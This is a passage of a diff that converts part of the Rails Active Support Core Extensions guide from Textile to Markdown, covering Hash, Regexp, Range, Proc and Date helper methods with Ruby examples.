-* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping:
+* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping:
-<ruby>
+```ruby
XML_TYPE_NAMES = {
"Symbol" => "symbol",
"Fixnum" => "integer",
@@ -2535,77 +2543,77 @@ XML_TYPE_NAMES = {
"DateTime" => "datetime",
"Time" => "datetime"
}
-</ruby>
+```
-By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
+By default the root node is "hash", but that's configurable via the `:root` option.
-The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder.
-NOTE: Defined in +active_support/core_ext/hash/conversions.rb+.
+NOTE: Defined in `active_support/core_ext/hash/conversions.rb`.
-h4. Merging
+### Merging
-Ruby has a built-in method +Hash#merge+ that merges two hashes:
+Ruby has a built-in method `Hash#merge` that merges two hashes:
-<ruby>
+```ruby
{:a => 1, :b => 1}.merge(:a => 0, :c => 2)
# => {:a => 0, :b => 1, :c => 2}
-</ruby>
+```
Active Support defines a few more ways of merging hashes that may be convenient.
-h5. +reverse_merge+ and +reverse_merge!+
+#### `reverse_merge` and `reverse_merge!`
-In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom:
+In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:
-<ruby>
+```ruby
options = {:length => 30, :omission => "..."}.merge(options)
-</ruby>
+```
-Active Support defines +reverse_merge+ in case you prefer this alternative notation:
+Active Support defines `reverse_merge` in case you prefer this alternative notation:
-<ruby>
+```ruby
options = options.reverse_merge(:length => 30, :omission => "...")
-</ruby>
+```
-And a bang version +reverse_merge!+ that performs the merge in place:
+And a bang version `reverse_merge!` that performs the merge in place:
-<ruby>
+```ruby
options.reverse_merge!(:length => 30, :omission => "...")
-</ruby>
+```
-WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea.
+WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea.
-NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
-h5. +reverse_update+
+#### `reverse_update`
-The method +reverse_update+ is an alias for +reverse_merge!+, explained above.
+The method `reverse_update` is an alias for `reverse_merge!`, explained above.
-WARNING. Note that +reverse_update+ has no bang.
+WARNING. Note that `reverse_update` has no bang.
-NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
-h5. +deep_merge+ and +deep_merge!+
+#### `deep_merge` and `deep_merge!`
As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
-Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
-<ruby>
+```ruby
{:a => {:b => 1}}.deep_merge(:a => {:c => 2})
# => {:a => {:b => 1, :c => 2}}
-</ruby>
+```
-The method +deep_merge!+ performs a deep merge in place.
+The method `deep_merge!` performs a deep merge in place.
-NOTE: Defined in +active_support/core_ext/hash/deep_merge.rb+.
+NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`.
-h4. Deep duplicating
+### Deep duplicating
-The method +Hash.deep_dup+ duplicates itself and all keys and values inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Enumerator#each_with_object+ with sending +deep_dup+ method to each pair inside.
+The method `Hash.deep_dup` duplicates itself and all keys and values inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
-<ruby>
+```ruby
hash = { :a => 1, :b => { :c => 2, :d => [3, 4] } }
dup = hash.deep_dup
@@ -2614,21 +2622,21 @@ dup[:b][:d] << 5
hash[:b][:e] == nil # => true
hash[:b][:d] == [3, 4] # => true
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/hash/deep_dup.rb+.
+NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`.
-h4. Diffing
+### Diffing
-The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic:
+The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic:
-* Pairs +key+, +value+ that exist in both hashes do not belong to the diff hash.
+* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash.
-* If both hashes have +key+, but with different values, the pair in the receiver wins.
+* If both hashes have `key`, but with different values, the pair in the receiver wins.
* The rest is just merged.
-<ruby>
+```ruby
{:a => 1}.diff(:a => 1)
# => {}, first rule
@@ -2644,65 +2652,65 @@ The method +diff+ returns a hash that represents a diff of the receiver and the
{}.diff({}) # => {}
{:a => 1}.diff({}) # => {:a => 1}
{}.diff(:a => 1) # => {:a => 1}
-</ruby>
+```
-An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice:
+An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice:
-<ruby>
+```ruby
hash.diff(hash2).diff(hash2) == hash
-</ruby>
+```
Diffing hashes may be useful for error messages related to expected option hashes for example.
-NOTE: Defined in +active_support/core_ext/hash/diff.rb+.
+NOTE: Defined in `active_support/core_ext/hash/diff.rb`.
-h4. Working with Keys
+### Working with Keys
-h5. +except+ and +except!+
+#### `except` and `except!`
-The method +except+ returns a hash with the keys in the argument list removed, if present:
+The method `except` returns a hash with the keys in the argument list removed, if present:
-<ruby>
+```ruby
{:a => 1, :b => 2}.except(:a) # => {:b => 2}
-</ruby>
+```
-If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance:
+If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance:
-<ruby>
+```ruby
{:a => 1}.with_indifferent_access.except(:a) # => {}
{:a => 1}.with_indifferent_access.except("a") # => {}
-</ruby>
+```
-The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+:
+The method `except` may come in handy for example when you want to protect some parameter that can't be globally protected with `attr_protected`:
-<ruby>
+```ruby
params[:account] = params[:account].except(:plan_id) unless admin?
@account.update_attributes(params[:account])
-</ruby>
+```
-There's also the bang variant +except!+ that removes keys in the very receiver.
+There's also the bang variant `except!` that removes keys in the very receiver.
-NOTE: Defined in +active_support/core_ext/hash/except.rb+.
+NOTE: Defined in `active_support/core_ext/hash/except.rb`.
-h5. +transform_keys+ and +transform_keys!+
+#### `transform_keys` and `transform_keys!`
-The method +transform_keys+ accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
+The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :a => :a}.transform_keys{ |key| key.to_s.upcase }
# => {"" => nil, "A" => :a, "1" => 1}
-</ruby>
+```
The result in case of collision is undefined:
-<ruby>
+```ruby
{"a" => 1, :a => 2}.transform_keys{ |key| key.to_s.upcase }
# => {"A" => 2}, in my test, can't rely on this result though
-</ruby>
+```
-This method may be useful for example to build specialized conversions. For instance +stringify_keys+ and +symbolize_keys+ use +transform_keys+ to perform their key conversions:
+This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
-<ruby>
+```ruby
def stringify_keys
transform_keys{ |key| key.to_s }
end
@@ -2710,188 +2718,189 @@ end
def symbolize_keys
transform_keys{ |key| key.to_sym rescue key }
end
-</ruby>
+```
-There's also the bang variant +transform_keys!+ that applies the block operations to keys in the very receiver.
+There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver.
-Besides that, one can use +deep_transform_keys+ and +deep_transform_keys!+ to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
+Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
-h5. +stringify_keys+ and +stringify_keys!+
+#### `stringify_keys` and `stringify_keys!`
-The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them:
+The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :a => :a}.stringify_keys
# => {"" => nil, "a" => :a, "1" => 1}
-</ruby>
+```
The result in case of collision is undefined:
-<ruby>
+```ruby
{"a" => 1, :a => 2}.stringify_keys
# => {"a" => 2}, in my test, can't rely on this result though
-</ruby>
+```
-This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines:
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
-<ruby>
+```ruby
def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
options = options.stringify_keys
options["type"] = "checkbox"
...
end
-</ruby>
+```
-The second line can safely access the "type" key, and let the user to pass either +:type+ or "type".
+The second line can safely access the "type" key, and let the user to pass either `:type` or "type".
-There's also the bang variant +stringify_keys!+ that stringifies keys in the very receiver.
+There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver.
-Besides that, one can use +deep_stringify_keys+ and +deep_stringify_keys!+ to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
+Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
-<ruby>
+```ruby
{nil => nil, 1 => 1, :nested => {:a => 3, 5 => 5}}.deep_stringify_keys
# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
-h5. +symbolize_keys+ and +symbolize_keys!+
+#### `symbolize_keys` and `symbolize_keys!`
-The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them:
+The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:
-<ruby>
+```ruby
{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
# => {1 => 1, nil => nil, :a => "a"}
-</ruby>
+```
WARNING. Note in the previous example only one key was symbolized.
The result in case of collision is undefined:
-<ruby>
+```ruby
{"a" => 1, :a => 2}.symbolize_keys
# => {:a => 2}, in my test, can't rely on this result though
-</ruby>
+```
-This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
-<ruby>
+```ruby
def rewrite_path(options)
options = options.symbolize_keys
options.update(options[:params].symbolize_keys) if options[:params]
...
end
-</ruby>
+```
-The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params".
+The second line can safely access the `:params` key, and let the user to pass either `:params` or "params".
-There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very receiver.
+There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver.
-Besides that, one can use +deep_symbolize_keys+ and +deep_symbolize_keys!+ to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
+Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
-<ruby>
+```ruby
{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
# => {nil=>nil, 1=>1, :nested=>{:a=>3, 5=>5}}
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
-h5. +to_options+ and +to_options!+
+#### `to_options` and `to_options!`
-The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+.
+The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`.
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
-h5. +assert_valid_keys+
+#### `assert_valid_keys`
-The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised.
+The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised.
-<ruby>
+```ruby
{:a => 1}.assert_valid_keys(:a) # passes
{:a => 1}.assert_valid_keys("a") # ArgumentError
-</ruby>
+```
-Active Record does not accept unknown options when building associations, for example. It implements that control via +assert_valid_keys+.
+Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`.
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
-h4. Slicing
+### Slicing
Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
-<ruby>
+```ruby
{:a => 1, :b => 2, :c => 3}.slice(:a, :c)
# => {:c => 3, :a => 1}
{:a => 1, :b => 2, :c => 3}.slice(:b, :X)
# => {:b => 2} # non-existing keys are ignored
-</ruby>
+```
-If the receiver responds to +convert_key+ keys are normalized:
+If the receiver responds to `convert_key` keys are normalized:
-<ruby>
+```ruby
{:a => 1, :b => 2}.with_indifferent_access.slice("a")
# => {:a => 1}
-</ruby>
+```
NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
-There's also +slice!+ which in addition to perform a slice in place returns what's removed:
+There's also `slice!` which in addition to perform a slice in place returns what's removed:
-<ruby>
+```ruby
hash = {:a => 1, :b => 2}
rest = hash.slice!(:a) # => {:b => 2}
hash # => {:a => 1}
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
-h4. Extracting
+### Extracting
-The method +extract!+ removes and returns the key/value pairs matching the given keys.
+The method `extract!` removes and returns the key/value pairs matching the given keys.
-<ruby>
+```ruby
hash = {:a => 1, :b => 2}
rest = hash.extract!(:a) # => {:a => 1}
hash # => {:b => 2}
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
-h4. Indifferent Access
+### Indifferent Access
-The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
+The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver:
-<ruby>
+```ruby
{:a => 1}.with_indifferent_access["a"] # => 1
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+.
+NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
-h3. Extensions to +Regexp+
+Extensions to `Regexp`
+----------------------
-h4. +multiline?+
+### `multiline?`
-The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines.
+The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.
-<ruby>
+```ruby
%r{.}.multiline? # => false
%r{.}m.multiline? # => true
Regexp.new('.').multiline? # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true
-</ruby>
+```
Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
-<ruby>
+```ruby
def assign_route_options(segments, defaults, requirements)
...
if requirement.multiline?
@@ -2899,39 +2908,40 @@ def assign_route_options(segments, defaults, requirements)
end
...
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/regexp.rb+.
+NOTE: Defined in `active_support/core_ext/regexp.rb`.
-h3. Extensions to +Range+
+Extensions to `Range`
+---------------------
-h4. +to_s+
+### `to_s`
-Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+:
+Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`:
-<ruby>
+```ruby
(Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"
(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"
-</ruby>
+```
-As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That is used by Active Record in its support for range values in conditions.
+As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions.
-NOTE: Defined in +active_support/core_ext/range/conversions.rb+.
+NOTE: Defined in `active_support/core_ext/range/conversions.rb`.
-h4. +include?+
+### `include?`
-The methods +Range#include?+ and +Range#===+ say whether some value falls between the ends of a given instance:
+The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance:
-<ruby>
+```ruby
(2..3).include?(Math::E) # => true
-</ruby>
+```
Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
-<ruby>
+```ruby
(1..10).include?(3..7) # => true
(1..10).include?(0..7) # => false
(1..10).include?(3..11) # => false
@@ -2941,52 +2951,53 @@ Active Support extends these methods so that the argument may be another range i
(1..10) === (0..7) # => false
(1..10) === (3..11) # => false
(1...9) === (3..9) # => false
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/range/include_range.rb+.
+NOTE: Defined in `active_support/core_ext/range/include_range.rb`.
-h4. +overlaps?+
+### `overlaps?`
-The method +Range#overlaps?+ says whether any two given ranges have non-void intersection:
+The method `Range#overlaps?` says whether any two given ranges have non-void intersection:
-<ruby>
+```ruby
(1..10).overlaps?(7..11) # => true
(1..10).overlaps?(0..7) # => true
(1..10).overlaps?(11..27) # => false
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/range/overlaps.rb+.
+NOTE: Defined in `active_support/core_ext/range/overlaps.rb`.
-h3. Extensions to +Proc+
+Extensions to `Proc`
+--------------------
-h4. +bind+
+### `bind`
-As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example:
+As you surely know Ruby has an `UnboundMethod` class whose instances are methods that belong to the limbo of methods without a self. The method `Module#instance_method` returns an unbound method for example:
-<ruby>
+```ruby
Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
-</ruby>
+```
-An unbound method is not callable as is, you need to bind it first to an object with +bind+:
+An unbound method is not callable as is, you need to bind it first to an object with `bind`:
-<ruby>
+```ruby
clear = Hash.instance_method(:clear)
clear.bind({:a => 1}).call # => {}
-</ruby>
+```
-Active Support defines +Proc#bind+ with an analogous purpose:
+Active Support defines `Proc#bind` with an analogous purpose:
-<ruby>
+```ruby
Proc.new { size }.bind([]).call # => 0
-</ruby>
+```
-As you see that's callable and bound to the argument, the return value is indeed a +Method+.
+As you see that's callable and bound to the argument, the return value is indeed a `Method`.
-NOTE: To do so +Proc#bind+ actually creates a method under the hood. If you ever see a method with a weird name like +__bind_1256598120_237302+ in a stack trace you know now where it comes from.
+NOTE: To do so `Proc#bind` actually creates a method under the hood. If you ever see a method with a weird name like `__bind_1256598120_237302` in a stack trace you know now where it comes from.
-Action Pack uses this trick in +rescue_from+ for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by +handler_for_rescue+, thus simplifying the code in the caller:
+Action Pack uses this trick in `rescue_from` for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by `handler_for_rescue`, thus simplifying the code in the caller:
-<ruby>
+```ruby
def handler_for_rescue(exception)
_, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
...
@@ -2999,358 +3010,360 @@ def handler_for_rescue(exception)
rescuer.bind(self)
end
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/proc.rb+.
+NOTE: Defined in `active_support/core_ext/proc.rb`.
-h3. Extensions to +Date+
+Extensions to `Date`
+--------------------
-h4. Calculations
+### Calculations
-NOTE: All the following methods are defined in +active_support/core_ext/date/calculations.rb+.
+NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`.
-INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, +Date.new(1582, 10, 4).tomorrow+ returns +Date.new(1582, 10, 15)+ and so on. Please check +test/core_ext/date_ext_test.rb+ in the Active Support test suite for expected behavior.
+INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.
-h5. +Date.current+
+#### `Date.current`
-Active Support defines +Date.current+ to be today in the current time zone. That's like +Date.today+, except that it honors the user time zone, if defined. It also defines +Date.yesterday+ and +Date.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Date.current+.
+Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Date.current`.
-When making Date comparisons using methods which honor the user time zone, make sure to use +Date.current+ and not +Date.today+. There are cases where the user time zone might be in the future compared to the system time zone, which +Date.today+ uses by default. This means +Date.today+ may equal +Date.yesterday+.
+When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.
-h5. Named dates
+#### Named dates
-h6. +prev_year+, +next_year+
+##### `prev_year`, `next_year`
-In Ruby 1.9 +prev_year+ and +next_year+ return a date with the same day/month in the last or next year:
+In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_year # => Fri, 08 May 2009
d.next_year # => Sun, 08 May 2011
-</ruby>
+```
If date is the 29th of February of a leap year, you obtain the 28th:
-<ruby>
+```ruby
d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
d.prev_year # => Sun, 28 Feb 1999
d.next_year # => Wed, 28 Feb 2001
-</ruby>
+```
-+prev_year+ is aliased to +last_year+.
+`prev_year` is aliased to `last_year`.
-h6. +prev_month+, +next_month+
+##### `prev_month`, `next_month`
-In Ruby 1.9 +prev_month+ and +next_month+ return the date with the same day in the last or next month:
+In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_month # => Thu, 08 Apr 2010
d.next_month # => Tue, 08 Jun 2010
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
-</ruby>
+```
-+prev_month+ is aliased to +last_month+.
+`prev_month` is aliased to `last_month`.
-h6. +prev_quarter+, +next_quarter+
+##### `prev_quarter`, `next_quarter`
-Same as +prev_month+ and +next_month+. It returns the date with the same day in the previous or next quarter:
+Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter:
-<ruby>
+```ruby
t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
t.prev_quarter # => Mon, 08 Feb 2010
t.next_quarter # => Sun, 08 Aug 2010
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000
Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000
Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
-</ruby>
+```
-+prev_quarter+ is aliased to +last_quarter+.
+`prev_quarter` is aliased to `last_quarter`.
-h6. +beginning_of_week+, +end_of_week+
+##### `beginning_of_week`, `end_of_week`
-The methods +beginning_of_week+ and +end_of_week+ return the dates for the
+The methods `beginning_of_week` and `end_of_week` return the dates for the
beginning and end of the week, respectively. Weeks are assumed to start on
Monday, but that can be changed passing an argument.
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.beginning_of_week # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week # => Sun, 09 May 2010
d.end_of_week(:sunday) # => Sat, 08 May 2010
-</ruby>
+```
-+beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+.
+`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.
-h6. +monday+, +sunday+
+##### `monday`, `sunday`
-The methods +monday+ and +sunday+ return the dates for the beginning and
+The methods `monday` and `sunday` return the dates for the beginning and
end of the week, respectively. Weeks are assumed to start on Monday.
-<ruby>
+```ruby
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.monday # => Mon, 03 May 2010
d.sunday # => Sun, 09 May 2010
-</ruby>
+```
-h6. +prev_week+, +next_week+
+##### `prev_week`, `next_week`
-The method +next_week+ receives a symbol with a day name in English (in lowercase, default is +:monday+) and it returns the date corresponding to that day:
+The method `next_week` receives a symbol with a day name in English (in lowercase, default is `:monday`) and it returns the date corresponding to that day:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week # => Mon, 10 May 2010
d.next_week(:saturday) # => Sat, 15 May 2010
-</ruby>
+```
-The method +prev_week+ is analogous:
+The method `prev_week` is analogous:
-<ruby>
+```ruby
d.prev_week # => Mon, 26 Apr 2010
d.prev_week(:saturday) # => Sat, 01 May 2010
d.prev_week(:friday) # => Fri, 30 Apr 2010
-</ruby>
+```
-+prev_week+ is aliased to +last_week+.
+`prev_week` is aliased to `last_week`.
-h6. +beginning_of_month+, +end_of_month+
+##### `beginning_of_month`, `end_of_month`
-The methods +beginning_of_month+ and +end_of_month+ return the dates for the beginning and end of the month:
+The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month # => Sat, 01 May 2010
d.end_of_month # => Mon, 31 May 2010
-</ruby>
+```
-+beginning_of_month+ is aliased to +at_beginning_of_month+, and +end_of_month+ is aliased to +at_end_of_month+.
+`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.
-h6. +beginning_of_quarter+, +end_of_quarter+
+##### `beginning_of_quarter`, `end_of_quarter`
-The methods +beginning_of_quarter+ and +end_of_quarter+ return the dates for the beginning and end of the quarter of the receiver's calendar year:
+The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter # => Thu, 01 Apr 2010
d.end_of_quarter # => Wed, 30 Jun 2010
-</ruby>
+```
-+beginning_of_quarter+ is aliased to +at_beginning_of_quarter+, and +end_of_quarter+ is aliased to +at_end_of_quarter+.
+`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.
-h6. +beginning_of_year+, +end_of_year+
+##### `beginning_of_year`, `end_of_year`
-The methods +beginning_of_year+ and +end_of_year+ return the dates for the beginning and end of the year:
+The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:
-<ruby>
+```ruby
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_year # => Fri, 01 Jan 2010
d.end_of_year # => Fri, 31 Dec 2010
-</ruby>
+```
-+beginning_of_year+ is aliased to +at_beginning_of_year+, and +end_of_year+ is aliased to +at_end_of_year+.
+`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.
-h5. Other Date Computations
+#### Other Date Computations
-h6. +years_ago+, +years_since+
+##### `years_ago`, `years_since`
-The method +years_ago+ receives a number of years and returns the same date those many years ago:
+The method `years_ago` receives a number of years and returns the same date those many years ago:
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000
-</ruby>
+```
-+years_since+ moves forward in time:
+`years_since` moves forward in time:
-<ruby>
+```ruby
date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020
-</ruby>
+```
If such a day does not exist, the last day of the corresponding month is returned:
-<ruby>
+```ruby
Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
-</ruby>
+```
-h6. +months_ago+, +months_since+
+##### `months_ago`, `months_since`
-The methods +months_ago+ and +months_since+ work analogously for months:
+The methods `months_ago` and `months_since` work analogously for months:
-<ruby>
+```ruby
Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
